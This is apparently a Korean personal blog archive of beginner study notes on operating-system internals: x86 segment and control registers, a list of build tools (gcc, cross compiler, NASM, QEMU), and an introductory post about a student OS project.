// DS는 데이터 영역 접근시 암시적으로 사용. ES는 문자열과 관련된 작업을 처리할 때 암시적으로 사용.

SS : 스택 영역을 가리키는 레지스터

// 데이터 이동 명령으로 값을 변경할 수 있음.

// 스택 관련 레지스터(SP, BP)를 통해 스택에 접근할 때 암시적으로 사용됨.


컨트롤 레지스터

운영 모드를 변경하고, 운영 중인 모드의 특정 기능을 제어하는 레지스터 이다.


이후 모드에 따른 메모리 관리 기법에 대해 나온다.

아몰랑 ㅎㅎ..

'0x0500 : 기술, 분석 문서 > 0x0503 : OS 원리와 구조' 카테고리의 다른 글

0x06_32비트 보호모드 전환  (0) 2016.10.12
0x05_플로피 디스크에서 OS이미지 로딩  (0) 2016.10.10
0x04_BootLoader  (0) 2016.10.02
0x02_환경 구축  (0) 2016.10.01
0x01_시작  (0) 2016.09.27

0x02_환경 구축

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

크게 막 설치할건 없는듯..


gcc 설치

// gcc 컴퍼일러 그게 그거다.


크로스 컴파일러 만들기

// 64, 32비트 호환성 인가? 그럴것이다.


NASM 설치

// 어셈블리어 코딩 용도인듯


이클립스 설치

// 자바


QEMU 설치

// OS구축 환경?

0x01_시작

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조


OS 원리와 구조 공부를 해서 시스템 분야 기본을 탄탄히 하기위한

학교 동아리 프로젝트 겸 개인 프로젝트 겸 ... 사골잼;


알고리즘은 말그대로 알고리즘 공부를 위해..